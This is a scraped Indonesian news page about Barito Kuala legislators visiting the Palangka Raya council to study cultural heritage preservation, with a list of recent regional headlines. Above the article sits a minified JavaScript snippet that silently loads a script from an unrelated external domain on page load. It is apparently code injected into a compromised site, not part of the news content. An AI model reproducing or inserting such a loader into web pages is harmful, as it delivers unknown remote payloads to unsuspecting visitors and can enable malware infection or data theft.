(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BARITO KUALA

Pelestarian Cagar Budaya: Rombongan DPRD Batola Kunjungi DPRD Palangka Raya


KANALKALIMANTAN.COM, MARABAHAN – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Palangka Raya telah menarik perhatian anggota DPRD dari Kabupaten Barito Kuala (Batola), Provinsi Kalimantan Selatan (Kalsel), dalam menjalankan tugasnya yang meliputi pengawasan dan perancangan peraturan daerah terkait situs bersejarah di Kota Palangka Raya. Dalam rangka mempelajari hal tersebut, anggota DPRD Batola melaksanakan kunjungan kerja (kunker) ke DPRD Kota Palangka Raya pada hari Selasa (6/6/2023).

Rombongan dipimpin oleh Arfah, wakil ketua DPRD Batola, bersama anggota DPRD yang tergabung dalam komisi II, diterima oleh tim ahli Badan Musyawarah (Banmus) DPRD Kota Palangka Raya, Sitti Masmah.

“Kunjungan mereka ini terkait dengan studi komparatif tentang cagar budaya dan peran DPRD dalam mendukung pelestarian cagar budaya. Selain itu, mereka juga membahas masalah kesekretariatan dan hak keuangan DPRD,” ungkap Sitti Masmah, yang merupakan mantan Sekretaris DPRD Kota Palangka Raya.

Menurut Sitti Masmah, terkait dengan cagar budaya, sebelumnya rombongan tersebut telah mengunjungi dinas terkait untuk mendapatkan informasi yang jelas dan detail tentang syarat penetapan cagar budaya. Oleh karena itu, di DPRD mereka hanya mengaitkan peran DPRD dalam konteks tersebut.

Baca juga: SCLN Perdana di Kalsel, Bantu Nelayan Pahami Teknologi dan Parameter Cuaca

Peran DPRD dalam hal ini adalah sebagai pendorong, baik dalam penganggaran untuk dinas terkait guna mendukung pelestarian, maupun dalam fungsi pengawasan terkait upaya DPRD dalam berperan dalam melestarikan cagar budaya.

Sementara itu, Arfah menyatakan bahwa rombongan DPRD Batola melakukan studi komparatif ini terkait dengan pengawasan terhadap cagar budaya yang dilakukan anggota DPRD. Mereka menyadari bahwa masih terdapat banyak cagar budaya yang belum diakui secara resmi sebagai aset cagar budaya di daerah mereka, seperti bangunan dan situs-situs bersejarah. Melalui informasi yang mereka terima di Palangka Raya, sudah terdapat 15 cagar budaya yang diakui.

Oleh karena itu, sesuai dengan tugas pengawasan, DPRD Batola berencana untuk membuat Peraturan Daerah (Perda) yang mengatur pengelolaan cagar budaya yang ada di Barito Kuala. Setelah diatur dalam Perda, cagar budaya tersebut dapat dijadikan objek wisata yang dipromosikan untuk menarik wisatawan dan meningkatkan Pendapatan Asli Daerah (PAD). (www.kanalkalimantan.com/rdy)

Reporter: Rdy
Editor: Kk


Al Ghifari

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

14 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

17 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

20 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

22 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

22 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

23 jam ago

This website uses cookies.